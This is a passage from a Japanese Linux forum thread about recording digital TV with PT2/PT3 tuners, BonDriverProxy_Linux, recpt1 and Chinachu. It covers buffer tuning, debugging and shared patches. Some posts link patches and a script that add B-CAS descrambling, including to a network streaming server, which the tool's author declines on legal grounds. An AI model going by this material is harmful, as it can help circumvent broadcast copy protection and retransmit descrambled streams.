例えばネットワーク速度が安定せず、速くなったり遅くなったりするならPACKET_FIFO_SIZEを大きくするとドロップ
しなくなるかもしれません
しかし、絶対的に速度が足りていない場合は、大きくしてもキューサイズを超えるまでの時間が少し延びるだけでしょう

TS_FIFO_SIZEに関しても同じで、アプリケーション側の読み出し方次第です
新規データはサーバ側でどんどんデバイスから読み出され、クライアントモジュールに送られてTSキューに積まれて
いきますが、そのデータをアプリケーションが読み出さない場合、どこかでデータを捨てないとメモリを無尽蔵に
消費する事になるので、そのリミットとしてのTS_FIFO_SIZEです

sample.cppでやってるように、GetTsStream()で読み出したのをそのままファイルに書き出しするような場合は、
余程書き出し先デバイスが遅くない限りは問題にはならないハズです
しかし、読み出した後に同スレッドで何らかの時間の掛かる処理を行っていて、次の読出しまでにTSキューに新規データが
常に複数積まれていく様な状況だと、その内TSキューのサイズはリミットに達してしまうでしょう
この場合、とりあえずデータは読み込んでおいて時間の掛かる処理は別スレッドで、と言うのが王道かと思います
例えば、B-CASカードでのECM処理はかなり遅い部類の処理なので、TS読み出しスレッドとデスクランブルスレッドは
分ける、などのパターンですね
#libarib25を使用する場合は、確か内部に専用バッファを持っていたと思うので、面倒な事は考えなくても大丈夫かも
#しれません…が、未確認です

502
login:Penguin[sage]   投稿日:2014/07/09 20:17:23  ID:GgPhQLZW.net(3)
更に続きです

と言う訳で、PACKET_FIFO_SIZEもTS_FIFO_SIZEも、平均的には新規データの供給よりも速いペースでデータを捌けるけれど、
何回かに一回は時間が掛かる事があってその時にドロップしてしまう、と言う様な状況でいじると効果があるかもしれない
項目だと思っていただければ大体間違いないかと思います
捌く速度が新規データ供給よりも平均的に遅い場合には、これらのサイズを大きくしても多分時間稼ぎにしかなりません

TSPACKET_BUFSIZEに関しては、大きくしていくと、チャンネル変更の際などにそのサイズ分のバッファが溜まるまで
サーバからデータが来ないので、レスポンスが悪くなっていくでしょう
逆に小さくしていくと、レスポンスは良くなるかわりに各種オーバヘッドが大きくなっていくので、小さくしすぎは
意味が無いでしょう

大体こんな感じでわかるでしょうか…?

長文失礼しました
コメント1件

503
login:Penguin[sage]   投稿日:2014/07/10 00:29:04  ID:Vdu/474/.net
>500-502
詳しい情報ありがとうございます。
プログラマーではないので全ては理解できませんが、特に>502で疑問点はおそらく解決しました。

最後に
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/maste...
このサンプル設定はunknownさんの環境では十分なサイズなのでしょうか。
コメント1件

504
login:Penguin[sage]   投稿日:2014/07/10 07:02:22  ID:1ScKKN6I.net
>503
はい、ウチのテスト環境(Hyper-V上のCentOS6.5、Core i7 3630QMから仮想プロセッサ2つ割り当て、
HDDは容量可変VHDX形式)では、sample+BonDriver_Proxy(キューサイズ等の設定はデフォルト)によって
LAN(1000BASE-T)経由で他のマシンに刺さってるPT2を使って録画、と言うのが特に問題無く出来ています

topで眺めてる限り、上記環境+設定ではsample実行中のCPU負荷も殆ど上昇しない感じです
#これに関しては、想定使用環境を録画用サーバとすると、上記テスト環境は若干CPU性能が高い気はするので、
#参考程度の情報として下さい
コメント1件

505
login:Penguin[sage]   投稿日:2014/07/11 15:34:23  ID:OUxv2+uD.net
>504
ご親切な対応、本当にありがとうございました。

506
login:Penguin[sage]   投稿日:2014/07/11 15:59:09  ID:dxK0BNE0.net
親切を敬語にすると煽られてる気分になるのはなぜだろう

507
login:Penguin[sage]   投稿日:2014/07/11 18:48:10  ID:6ySvc8u0.net
unknownさん、 Pull RequestsとIssues見てくれるとうれしい。
コメント1件

508
login:Penguin[sage]   投稿日:2014/07/12 01:26:29  ID:QUHdXLZV.net
>507
今更ながら確認しました、ありがとうございます
GitHubの使い方良くわかってないのでなんとなくでやってみましたが、あんな感じで良いんでしょうか…
コメント1件

509
login:Penguin[sage]   投稿日:2014/07/12 21:48:40  ID:SnB0zLWa.net
BonDriverProxy_Linuxに付属している sample.cpp をコンパイルして実行したところ
dlopen: Success と表示されファイルサイズゼロの aaa.ts しか作成されずに終了します。

./sample -b BonDriver_LinuxPT.so -s 0 -c 0 -t 10 -o aaa.ts
dlopen: Success

ソースを見て原因は BonDriverがロードできなかったためとわかったのですが、最初は
エラーメッセージだとは思えなかったので少しハマりました。

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/maste...#L88

perror("dlopen"); を fprintf(stderr, "%s\n",dlerror()); とかに変更すれば、まともなエラー
メッセージになってくれます。

BonDriver_LinuxPT.so: cannot open shared object file: No such file or directory

# BonDriverのロードが成功してから出力ファイルのopenをしたほうが
# サイズゼロの出力ファイルができないので自分としては好みです。
コメント1件

510
login:Penguin[sage]   投稿日:2014/07/12 22:47:38  ID:9B3a+VZM.net
>508
あんな感じで大丈夫だと思います。
(unknownさんの環境でも確認出来ているならば)
コメント1件

511
login:Penguin[sage]   投稿日:2014/07/13 00:00:43  ID:n2Vjk8dB.net
-rdynamicいらんのけ?
コメント2件

512
login:Penguin[sage]   投稿日:2014/07/13 01:49:05  ID:YTm9Pv5Y.net(2)
>509
確かにその通りですね
とりあえずサンプルはあった方が良いかなとサラッとつくったものなので、エラーはチェックだけやって
メッセージ周りはテキトーでした(;´Д`)失礼しました、修正しておきました

>510
こんなマイナーなツールにPull Requestが来るなんて全然考えてませんでしたヽ(;´ー`)ノありがとうございました

>511
確かに、sampleにはCentOS 5.4とかの古めの環境でコンパイル&実行するとダウンキャスト失敗すると言う事を
報告していただいて、-rdynamicオプション付けたんでした
その辺サーバも同じで付けておいた方が無難な気がするので、追加しておきました

513
login:Penguin[sage]   投稿日:2014/07/13 02:20:53  ID:YTm9Pv5Y.net(2)
>511
と思ったんですが、どうもなんだかよろしくないみたいなので戻しました(;´Д`)
押し入れの中のLinkers & Loaders引っ張り出すべきか…

514
login:Penguin[sage]   投稿日:2014/07/16 00:16:08  ID:todPSfmo.net(2)
マザーボードG1.Sniper M5[http://www.gigabyte.jp/products/product-page.aspx?pid=4482#sp]でfoltia ANIME LOCKERを使いたいと思っています。
このマザーボードにはNICとしてQualcomm&#174; Atheros Killer E2201 chip (10/100/1000 Mbit)が採用されており、おそらくはこれが認識されていないために、foltia ANIME LOCKERが使えていません。

まずはインストールについてはhttp://aniloc.foltia.com/manual/appendix-hddinstall.htmlを参考にし、HDDが3台あったので下記のようにして何とか出来ました。

/home/foltia/perl/hddinstaller.pl -d /dev/sda -d /dev/sdb -d /dev/sdc -confirm yes -url http://127.0.0.1/foltia_ANIME_LOCKER_306.img.xz

しかし、その後起動させても以下のように表示され、その後どうすればいいか分かりません。
________________________________________

foltia ANIME LOCKER
You can access http://foltia.local or http://127.0.0.1/

foltia login: Bridge firewalling registered
________________________________________

NICが認識されていればおそらくはDHCPによりプライベートIPアドレスが割り当てられ、ネットワーク上の他パソコンから操作できると思うのですが…

ちなみにE2201ではないですが、E2200については↓のようにlinuxでの動作はするようです
http://ubuntuforums.org/showthread.php?t=2008332

このマザーボードでfoltia ANIME LOCKERを使う方法があればご教示ください。
因みに、拡張ボードには空きがなく、出来ればLANポート増設以外の方法がよいのですが…

515
login:Penguin[sage]   投稿日:2014/07/16 02:26:42  ID:Rd9MnMt+.net
スレ違い乙

516
login:Penguin[sage]   投稿日:2014/07/16 08:34:24  ID:zRntf19q.net
半板違い丙

517
login:Penguin[sage]   投稿日:2014/07/16 11:34:02  ID:fMwVkLO8.net
甲乙丙丁

518
514[sage]   投稿日:2014/07/16 22:58:14  ID:todPSfmo.net(2)
初心者質問スレに行ってきます

519
login:Penguin[sage]   投稿日:2014/07/23 02:49:41  ID:UIQy6iIM.net
Chinachuって追従するの?

520
login:Penguin[sage]   投稿日:2014/07/26 00:40:28  ID:8ZSXKiqI.net
バカな質問で申し訳ないのだが、Chinachu+PT3で録画してます。
DLNAクライアントで閲覧してるんだが、字幕をONにしても表示されません。

これってそんなもの??
コメント2件

521
login:Penguin[sage]   投稿日:2014/07/26 01:47:32  ID:t6v8y6+x.net
そんなもの

522
login:Penguin[sage]   投稿日:2014/07/26 13:54:08  ID:4LQEoPJM.net
Linuxは細かいところの作り込みが甘い。
それぐらいよくある話。
コメント1件

523
login:Penguin[sage]   投稿日:2014/07/26 16:00:48  ID:pZx1Q0T3.net
何の貢献もしないくせに上から目線で批評。
それもよくある話www

524
login:Penguin[sage]   投稿日:2014/07/26 19:15:45  ID:t1mYoald.net
>522はリーナスなんか問題にならいくらいの凄腕

525
login:Penguin[sage]   投稿日:2014/07/26 22:06:27  ID:7IPYc6BL.net
なけりゃ自分で作れってだけの話

526
login:Penguin[sage]   投稿日:2014/07/26 22:53:20  ID:lBpGoaG4.net
何がいけないのか調べずによく話ができるなぁ
優秀なエスパーさんが勢ぞろいなんですねw

527
login:Penguin[sage]   投稿日:2014/07/27 10:51:59  ID:tY684ELH.net(2)
>520
とりあえず、recpt1のオプションに
--strip付いてると思うので除去してみては
コメント1件

528
login:Penguin[sage]   投稿日:2014/07/27 11:01:05  ID:tY684ELH.net(2)
>527
すまん、--stripいれても字幕入ってた

529
login:Penguin[sage]   投稿日:2014/07/27 12:58:38  ID:7ePzb8Np.net
>520
使ってるDLNAクライアントがARIBの字幕に対応してるか調べてた?

530
login:Penguin[sage]   投稿日:2014/07/28 17:30:56  ID:m/Vi1iyq.net
Chinachuの番組表で、どうも東海テレビが2列でちまうんだな…
1つルール作ったら予約済欄に2個予約されちまうぜ…
こういうときってどうすりゃいいでしょうか…

531
login:Penguin[sage]   投稿日:2014/07/28 21:37:01  ID:E+3TlTnW.net
設定ファイルにチャンネル定義が二行でダブってるだけって愉快なオチに期待

532
login:Penguin[sage]   投稿日:2014/08/02 23:28:29  ID:s+soKDEh.net
Chinachuって、重複が録画可能数超えてもなにも言わない?
コメント1件

533
362[]   投稿日:2014/08/07 22:00:24  ID:GxNjbWzT.net
>532
今試したけど、どんどん予約できた

534
login:Penguin[sage]   投稿日:2014/08/08 12:46:23  ID:0t1JUWl+.net
おめでとー

535
login:Penguin[sage]   投稿日:2014/08/09 17:44:54  ID:AsfeVmjW.net(3)
録画できないー。

手動でrecpt1しても、数分ぐらいしかできない。
ログに↓がでるとだめだーーー。
systemd: Started PC/SC Smart Card Daemon.
  pcscd: 00000000 utils.c:53:GetDaemonPid() Can't open /var/run/pcscd/pcscd.pid: No such file or directory

CentOS7なんだけど、これじゃまずい?
さっぱりだ・・・・どうすればいいんでしょう?
コメント1件

536
login:Penguin[sage]   投稿日:2014/08/09 18:07:02  ID:mQ8TOVgQ.net
エスパーの皆さん、出番ですよーw

537
login:Penguin[sage]   投稿日:2014/08/09 18:23:14  ID:u8uxwlhZ.net
カーネルやドライバ等数分でコケる筈ないだろって場合はマザボや電源の劣化を疑ってみる
早い話ノイズ耐性や瞬発力が下がってる可能性がある

538
login:Penguin[sage]   投稿日:2014/08/09 18:26:02  ID:rc5wPGdb.net(2)
No such file or directory

でマザボや、電源?
os動かないだろ。

539
login:Penguin[sage]   投稿日:2014/08/09 19:16:47  ID:/ZynO8Gm.net
>535
pcscdはB-CASの解除だけにしか使わないから、動いてなくてもrecpt1は動く
pcscdが動いてないのは /var/run/pcscdがないかパーミッションか所有者がおかしいっぽいけど
コメント1件

540
login:Penguin[sage]   投稿日:2014/08/09 19:19:01  ID:AsfeVmjW.net(3)
>539
おかしいな。。。
たとえば、recpt1で、10分とかオプションで指定(オプションでは600か)しても、
1分とか、3分ぐらいで勝手に録画が終わってしまう・・・
エラーはでてない

なぜだ・・・

541
login:Penguin[sage]   投稿日:2014/08/09 19:27:08  ID:rc5wPGdb.net(2)
その録画は出来てるの?再生出来る?
コメント1件

542
login:Penguin[sage]   投稿日:2014/08/09 19:29:56  ID:AsfeVmjW.net(3)
>541
再生できます。
コメント1件

543
login:Penguin[sage]   投稿日:2014/08/10 02:28:06  ID:f94X+Pf1.net
>542
カードリーダー見失ってるのかも
そのメッセージでた直後に、lsusbとかpcsc_scanしてみて
あるいはやわらかい奴かな
コメント1件

544
login:Penguin[sage]   投稿日:2014/08/10 10:04:28  ID:2FRObZti.net
>543
どうも、例のログは関係ないらしい。
何もログでないのに、途中で止まる。なぜ・・・
ソースにデバッグコード入れるしかないのか。。。

545
login:Penguin[sage]   投稿日:2014/08/10 18:54:16  ID:dPQJBXwC.net
すぐ再現できるならとりあえずstraceとかで何が起きてるか見てみてよ
コメント1件

546
login:Penguin[sage]   投稿日:2014/08/10 22:50:17  ID:hcloJPEb.net
DVBドライバーを殺してないんじゃ?

547
login:Penguin[sage]   投稿日:2014/08/11 01:20:28  ID:+lM8QzpO.net
天狗の仕業だ

548
login:Penguin[sage]   投稿日:2014/08/12 00:44:10  ID:aAA1LoVC.net
パックスのしわざ

549
login:Penguin[sage]   投稿日:2014/08/12 06:20:34  ID:m2fKpwXo.net
>65

いちお情報としてかなり前のにレス
epgrec UNAで同じ症状が出たけどrecpt1をbuildし直したら取得できた

550
login:Penguin[sage]   投稿日:2014/08/12 17:42:52  ID:FrmrUazc.net
BonDriverProxy_LinuxのサーバーにSpinelのTSOptimizerのような機能が欲しい・・・。
コメント1件

551
login:Penguin[sage]   投稿日:2014/08/16 11:26:43  ID:g5+q7xCY.net
>545
見てみたが。さっぱり。
途中から突然PT3からの読み取りがなくなっている。

違うディストリ試してみるか
コメント1件

552
login:Penguin[sage]   投稿日:2014/08/19 23:37:09  ID:I4h+PUKm.net
ショボイパッチですが…
http://hg.honeyplanet.jp/pt1/rev/c8688d7d6382 へのパッチ
http://www1.axfc.net/u/3300760

* ログメッセージ(dmesg)のプレフィックスを "PT1: " に統一 (pt3_drvと同様に)
* エラーやドロップが発生しなかった場合はその報告を省略
* モジュールパラメータdebugを変更できるように修正
例) echo 0 > /sys/module/pt1_drv/parameters/debug (ログメッセージを最小限に)

553
login:Penguin[sage]   投稿日:2014/08/20 00:06:57  ID:YgoPyQnX.net
>551
まずハードじゃないのそれ
コメント1件

554
login:Penguin[sage]   投稿日:2014/08/20 12:31:40  ID:EMVxX4TT.net
>553
ディストリをdebianにして、b25オプション外したら治った。
別原因で止まったりしたが、recpt1直接打ちはうまくいくようになった。
コメント1件

555
login:Penguin[sage]   投稿日:2014/08/20 20:27:01  ID:g5L5m6zD.net(2)
>554
よく覚えていなけど、以前 ubuntu でも pcscd のとあるバージョンで不具合なかった?
それでパッケージのバージョンを古いのに固定していた時期があったと思うけど。それの可能性は?

556
login:Penguin[sage]   投稿日:2014/08/20 21:30:01  ID:+tWqmdAb.net
うちは14.04でも固定してるよ。
不定期のタイミングでカードリーダを見失ってb25のデコードができなくなるから。
コメント1件

557
login:Penguin[sage]   投稿日:2014/08/20 21:55:37  ID:g5L5m6zD.net(2)
>556
あれはデコードできなくなるだけなの?
だったら違うか

558
login:Penguin[sage]   投稿日:2014/08/22 03:16:22  ID:ivHfULC0.net(2)
BonDriverProxy_Linuxの作者さん、
リポジトリにあるメールアドレスはダミーですか?
libarib25関連のパッチを送ろうかなと思っているのですが。
コメント1件

559
login:Penguin[sage]   投稿日:2014/08/22 09:01:55  ID:KFky9orq.net
プルリクすりゃええじゃん。(´・ω・`)

560
login:Penguin[sage]   投稿日:2014/08/22 19:32:41  ID:MKqaNber.net
>558
元々全然使ってないメールアドレスだったので存在すら忘れかけてました
さっき確認してみたら1か月以上放置してしまったメールとかが…(;´Д`)誠に申し訳ありません

パッチに関してはとても嬉しいのですが、実はデスクランブル機能関連は意図的に避けている部分なんです
特にサーバ部分に組み込んだら、理屈的にはデスクランブル済みのを公衆送信できるシステム扱いできてしまいますので…
こんなニッチなツールの事なんざ権利者さんも気にしねーよ、てのは全くその通りだとは思うのですが、
当方破城槌で石橋叩き、壊れちゃったらやっぱり危なかった渡らずに済んで良かった、と言う感じの
ポリアンナ的メンタルの人間です(;´Д`)

>550
この間、サーバじゃなくてドライバに1サービス1チャンネル扱いする機能を追加してみたんですが、もしかして
これで用が足りたりしませんか?
#CAT(とEMM)まで削ったのはちとやり過ぎだったかなと思ってるので、それは残す方向に戻すべきかと思案中ですが
コメント2件

561
login:Penguin[sage]   投稿日:2014/08/22 19:51:30  ID:ivHfULC0.net(2)
>560
同じ理由でプルリクエストではなくてメールにしようと考えてました(当方もチキンです)。
もう少し関連事項(ライブラリの使用だけでもアウトなのか等)を調べてからメールしようと思います。
一応パッチはrecpt1みたいな感じ(ユーザがライブラリをリンクしないと使えない)にしてあるのだけども。

562
login:Penguin[sage]   投稿日:2014/08/23 11:47:12  ID:+GPqjlNx.net(2)
>560
util/testのチャンネル列挙ができないけどどこ見たらいい?
なんかch1から列挙しようとしてるみたいだけど、
これ地上波なのかBSなのかわからんのじゃないのかという気がする。
なんかまた俺が勘違いしているのか・・・・
コメント1件

563
login:Penguin[sage]   投稿日:2014/08/23 15:38:33  ID:+GPqjlNx.net(2)
>562
conf間違ってた。気づかなかったわw

564
login:Penguin[sage]   投稿日:2014/08/24 13:12:03  ID:pstTkKz2.net
たまにsyslogに PT3 invalid sync data って録画中に出まくって、その後録画止まるんだが、
これって単なるドロップ?
ドロップもして、止まるのはなんとならんか。。。
コメント1件

565
login:Penguin[sage]   投稿日:2014/08/24 23:03:33  ID:VdOCmrwl.net
>564
chardev版PT3ドライバでの話だと思いますが、PT3から取得したTSデータがおかしいとそうなります
そうなった場合、録画を止めるかどうかは録画アプリ次第ですが、仮に止めなくてもそれが発生してる間は
まともなデータは期待できないでしょう
ソフトではなくハード(PT3やメモリだけでなく、アンテナ、ケーブル、分波器等も含んだ何か)の問題ですね

たまになるだけって事なら、普段からアンテナレベルがギリギリとかなんじゃないでしょうか
とりあえずCN比確認してみるのが良いかと
コメント1件

566
login:Penguin[sage]   投稿日:2014/08/24 23:37:23  ID:BqLcLvkb.net
アンテナレベルギリギリだとデータがおかしくなることがあるというのであれば、
それ込みで電波の仕様だよ。不正なデータは発生しうるという仕様。

だからこの場合は、できる限りドライバ内でフォールバックするようにしないと。

テレビがアンテナギリギリでシステムが停止する?
映像は映らなくてもシステム自体は停止しないでしょ?
コメント1件

567
login:Penguin[sage]   投稿日:2014/08/25 01:11:16  ID:VF+oB84Q.net
>566
いやだから、そうなってもドライバは単にアプリからのread()に0を返すようになるだけですよ
まさにフォールバックですね

録画が止まるならそれはread()が0を返したのを受けてアプリが終了してるだけでしょう
録画を止めるかどうかは録画アプリ次第と言うのはそう言う意味です
あるいは、録画終了時刻まで復帰しなかったら、ファイルだけ後から見れば途中で終了してるように見えるでしょうね

いずれにせよ、少なくともドライバには非は無いと思いますよ

568
login:Penguin[sage]   投稿日:2014/08/25 20:37:24  ID:PCu13YIt.net(2)
やっとchinachu & BonDriverProxy & TVTestでリアルタイム視聴&録画が出来るようになった
作るにあたってこの構成取ってるまとめサイトが無かったんで、まとめたら需要ってありますか?
コメント3件

569
login:Penguin[sage]   投稿日:2014/08/25 20:48:40  ID:Zge50iv1.net
ありまーす

570
login:Penguin[sage]   投稿日:2014/08/25 20:55:04  ID:MXNU2n50.net(2)
>568
是非お願いします!
いやマジで!!

571
login:Penguin[sage]   投稿日:2014/08/25 21:01:33  ID:PCu13YIt.net(2)
ではちょっと構成と画像、設定まとめます
色々無理くりやってるので、欠点もありますが...今運用している範疇で作ってきます

572
login:Penguin[sage]   投稿日:2014/08/25 21:52:06  ID:MXNU2n50.net(2)
ありがとうございます!
本当にありがとうございます!!

573
login:Penguin[sage]   投稿日:2014/08/26 11:04:05  ID:PAMz3I9n.net
>568
需要ないですよ
コメント1件

574
login:Penguin[sage]   投稿日:2014/08/26 21:36:19  ID:BpOkUOJ2.net
>568
是非お願いします!

575
login:Penguin[sage]   投稿日:2014/08/26 21:51:25  ID:SH+I10L8.net
>573
ちょっおまっっ
ちゃんと需要あるから全然あるから

576
login:Penguin[sage]   投稿日:2014/08/27 00:59:28  ID:1MChGv8J.net
epgrecに対してのメリット デメリットや乗り換え指南とか有ると嬉しいけど
両方使い込んでないと難しいか
コメント1件

577
login:Penguin[sage]   投稿日:2014/08/28 00:34:23  ID:u3Vrdj9d.net(2)
かきこみ食い!

578
login:Penguin[sage]   投稿日:2014/08/28 00:36:33  ID:u3Vrdj9d.net(2)
誤爆したああ

579
login:Penguin[sage]   投稿日:2014/08/28 12:27:15  ID:0cTXkwdI.net
安定して動いてるとなかなか新しいのに手出せないよね(´・ω・`)

580
login:Penguin[sage]   投稿日:2014/08/28 12:38:52  ID:jFp4EclH.net
PT2の2枚差しでまだまだ行けます

581
login:Penguin[sage]   投稿日:2014/08/29 04:06:51  ID:v3ONMbB+.net

582
login:Penguin[sage]   投稿日:2014/08/31 09:19:00  ID:VMP6HcFa.net(3)
>565
なるほど・・・
その後、手動でrecpt1すると何事もなく無事なんだが・・・
たまたまなんだろうか。
BSで13.5dBぐらいは低いか?!
コメント1件

583
login:Penguin[sage]   投稿日:2014/08/31 11:45:26  ID:xX+VaeoE.net
>582
低いんじゃないかな
うちはBS/CSは16-18dBくらい
コメント1件

584
login:Penguin[sage]   投稿日:2014/08/31 11:52:49  ID:VMP6HcFa.net(3)
>583
まじか・・・ さてどうしたものか。。。
分配しているテレビの方はSHARP表示で90/100とかあるんだけどな・・・・
分配の先が悪いのか。

585
login:Penguin[sage]   投稿日:2014/08/31 11:54:35  ID:VMP6HcFa.net(3)
Win版のPT3は、DMA転送の時に、CPU-DMAとかの同期APIがはいったけど、
もしかして、Linux版も同じようなことしないといけないのか・・・
わからんなぁ。

586
568[sage]   投稿日:2014/08/31 18:14:36  ID:EugbJio5.net(3)
遅くなりましたが、とりあえず個人メモを公開
かなり端折ってますので、わからなかったらスミマセン
http://blog.kickitout.net/2014/08/chinachu-bondriverproxy-tvtest_27.htm...

注意事項にも書いてありますが、B25復号ができないです
運用してみるとCASの都合からPCで復号したほうが良いので方法見つかるまでこのままです

あとはTVTest視聴中にChinachuのEPGスキャンが走ると
チャンネル変更されるのが面倒くさいくらいですが、録画優先のためこれは仕方がないかと
コメント3件

587
568[sage]   投稿日:2014/08/31 18:21:57  ID:EugbJio5.net(3)
>576
epgrecは使ったことないですね

Chinachuを選んだ理由はルールによる自動録画とストリーミング再生でした
番組表についてはスクロールでしか画面遷移できないので、ここはepgrecが良いと思います

588
login:Penguin[sage]   投稿日:2014/08/31 19:17:14  ID:vUw0Vf62.net
>586
b25はパイプじゃダメなん?
/usr/local/BDPL/sample 〜(略)〜 | b25 /dev/stdin /dev/stdout 2> /dev/null
コメント1件

589
568[sage]   投稿日:2014/08/31 19:36:32  ID:EugbJio5.net(3)
>588
試したんですが、駄目でした
まずchinachuにパイプ付きで実行させるとエラーとなり、
shellスクリプトで実行させても/dev/stdinが開けなくてNGです
(エラー内容は忘れました)

590
568[sage]   投稿日:2014/08/31 21:07:03  ID:Tov9UBtf.net(2)
あとはChinachuのrecordedCommandで録画後にB25復号させる方法もあります
もちろん録画後に行うので時間はかかりますが...
これ応用すると>581の自動CMカットも行けそうですね

----------------------------
#!/bin/bash
B25=/usr/local/bin/b25

if [ $# -lt 1 ]; then
echo "$0 {recPath} {jsonProgram}" 1>&2
exit 1;
fi

# B25 decode
${B25} -p 0 -v 0 "$1" "$1.tmp"

if [ -e "$1.tmp" ]; then
if [ $? -eq 0 ]; then
rm -f "$1"
mv "$1.tmp" "$1"
else
rm -f "$1.tmp"
fi
fi

exit
----------------------------

591
login:Penguin[sage]   投稿日:2014/08/31 22:42:25  ID:pPCOz4VV.net(2)
BonDriverProxy_Linuxnのsample.cppにb25デコード追加パッチ
http://www1.axfc.net/u/3309836
コメント2件

592
568[sage]   投稿日:2014/08/31 22:48:55  ID:Tov9UBtf.net(2)
>591
早い C++学習してなくて諦めてました

593
591[sage]   投稿日:2014/08/31 23:57:03  ID:pPCOz4VV.net(2)
>591 はb25デコード強制でちょっと良くないねってことで、
recpt1準拠のオプションに対応してみました。

usage: ./sample [--b25 [--round N] [--strip] [--EMM]] [-b bondriver] [-s space_no] [-c channel_no] ( [-t sec] [-o filename] )
--b25: Decrypt using BCAS card
--round N: Specify round number
--strip: Strip null stream
--EMM: Instruct EMM operation

http://www1.axfc.net/u/3309930
コメント1件

594
568[sage]   投稿日:2014/09/01 00:16:30  ID:PCe7o4Q1.net
有難うございます
既に今日だけで2つも課題(注意事項)が解決しました
BSだけは不明なため、申し訳ないですが各自でお試しください

595
591[sage]   投稿日:2014/09/01 00:47:49  ID:a7hMx0Xw.net(4)
>593にミスがありました!
パッチ後の77行目、write を ::write に書き換えてください。(*ノェノ)

if (dbuf.size > 0) return write(fd, dbuf.data, dbuf.size);


if (dbuf.size > 0) return ::write(fd, dbuf.data, dbuf.size);

596
login:Penguin[sage]   投稿日:2014/09/01 01:01:21  ID:BNTqI31W.net
元々のpatchの76行目を修正…でいいんですよね?
コメント1件

597
login:Penguin[sage]   投稿日:2014/09/01 03:26:06  ID:O9repODI.net
何が入っているかわからんから
コードを理解してからやること。

598
591[sage]   投稿日:2014/09/01 10:38:32  ID:a7hMx0Xw.net(4)
>596
はい。

すみません。
patchの56行目も同様のミスありました。
if (!valid) return write(fd, buf, count);


if (!valid) return ::write(fd, buf, count);


鬱だ氏のう(´A`)

599
login:Penguin[sage]   投稿日:2014/09/01 13:44:04  ID:dFvWFsJ3.net
こういうのはpastebinでやろうや

http://pastebin.com/vs229ctE
スレ内で出てたパッチの修正済み

600
591[sage]   投稿日:2014/09/01 17:42:50  ID:a7hMx0Xw.net(4)
writeで書き込まれるバイト数が指定バイト未満になる場合が考慮されていなかった不具合を修正しました。
度々申し訳ないです。m(__)m
http://pastebin.com/aHmFYePJ

601
login:Penguin[sage]   投稿日:2014/09/01 17:59:55  ID:a7hMx0Xw.net(4)

602
login:Penguin[sage]   投稿日:2014/09/01 19:22:22  ID:RUZKEFrJ.net
>601
これをBonDriverProxyに組み込んだら、
鯖のBCASだけで行けるのかな。
録画鯖にBCASつけてる人はクライアントはどうしてるんだろ。共有してんのかな。

603
login:Penguin[sage]   投稿日:2014/09/02 14:47:23  ID:XL1oxIjN.net(4)
>601
@@ -75,7 +75,7 @@
ssize_t write(int fd, void *buf, size_t count)
{
if (!valid)
- return ::write(fd, buf, count);
+ return write_full(fd, buf, count);

sbuf.data = static_cast<uint8_t*>(buf);
sbuf.size = count;

604
login:Penguin[sage]   投稿日:2014/09/02 17:33:14  ID:XL1oxIjN.net(4)
ここまでのsample.cppへのパッチ + BonDriverProxy.cppへのパッチ
http://pastebin.com/Ck70qW7C

usage: ./BonDriverProxy [--b25 [--round N] [--strip] [--EMM]] address port (packet_fifo_size tspacket_bufsize)
e.g. $ ./BonDriverProxy 192.168.0.100 1192

--b25を有効にするときは、
デコード済みのストリームが外部ネットに漏れないよう十分配慮してください。
コメント2件

605
login:Penguin[sage]   投稿日:2014/09/02 23:39:48  ID:XL1oxIjN.net(4)
http://pastebin.com/vLA20Vw9
・ b25::set_b_cas_cardでエラーになる対策
・ b25::putが失敗した後ハマる対策
>604のパッチを適用後にパッチしてください。

視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。
#b25->putがARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mを返してる。
放っておけばそのうち流れだすので、とりあえず放置(;´∀`)
コメント1件

606
login:Penguin[sage]   投稿日:2014/09/02 23:59:03  ID:XL1oxIjN.net(4)
すみません。こっちで http://pastebin.com/ASA1cnGK
コメント1件

607
login:Penguin[sage]   投稿日:2014/09/03 06:35:33  ID:ZY4L+Z2d.net(5)
> -#define FILE_OFFSET_BITS 64
> +#define _FILE_OFFSET_BITS 64

…(;´Д`)
失礼しました
sample.cppの方も直しておきますね
と言うか、sampleがちゃんとサンプルとして機能してるみたいで良い感じですね
細かい事言えばpIBon->CloseTuner()後でも、pIBon->GetTsStream()でdwRemain(アプリによる読み出し待ちバッファ数)が
1以下である保証は無いです
#元のsample.cppがdwRemainが0になるまでループさせてるのはそれが理由です
コメント1件

608
login:Penguin[sage]   投稿日:2014/09/03 06:52:51  ID:ZY4L+Z2d.net(5)
>604-606
サーバでのスクランブル解除はカードの処理能力がボトルネックになる場合があるから注意…
と思ってたんですが、今libarib25をナナメ読みした限りでは、あるサービスに対して最初のECMで購入済みか
チェックして、未購入だった場合は以降のECMはカードに投げない様にしてくれてるみたいですね
#win環境で一般的に使われてるB25Decoder.dllではやってなかったと思います
これならあんまり心配する必要は無さそう
#20チューナー同時稼働とかでない限り

ただその辺りも含めて、libarib25は内部的に色々と現在のTSストリームの状態を保持しているので、
チャンネル変更の際にはそれらの情報の破棄が必要でしょう

> 視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。

の現象も、その内部情報破棄を行っていない事が原因だと推測します
対応としては、チャンネル変更のタイミングでb25->reset()を呼べば良いと思います
そうすればb25->put()やb25->get()でコケる事も無くなるかと

実装的には、b25を配信スレッドのローカル変数からcProxyServerのメンバ変数にして、m_pposなどと
同じ様な形で持つのが良いんじゃないでしょうか
b25の取得、release()及びreset()も、m_pposの場所に準じる感じで
#そこでなら排他ロックも掛かってるので
コメント2件

609
login:Penguin[sage]   投稿日:2014/09/03 07:04:53  ID:ZY4L+Z2d.net(5)
そう言えばこう言う話もある様ですが、
https://twitter.com/fcartegnie/status/504940291078385664
これが普通に取り込まれて利用可能になったとしたら一つの目安となりますね
#本来的には、そんな事考えないで良いように法律の方でハッキリと線引きしておいて欲しいものですが…
コメント2件

610
login:Penguin[sage]   投稿日:2014/09/03 09:03:42  ID:sZbKOuDA.net
ぐっとB25関係が進展したみたいですね。

Windows の BonDriver_HDP2とかはB25デコード後のTSが直接出てきた様な
記憶があるので、BonDriver側(BonDriver_LinuxPT.cpp)でデコード済みのを
返すというのは筋が悪いのですかね?

そうできたら、それより上にあるBonDriverProxy、sampleも特に変更しないで
良さそうな気がしてるのですが。
コメント1件

611
login:Penguin[sage]   投稿日:2014/09/03 10:43:10  ID:vjzT1Nr4.net
>609
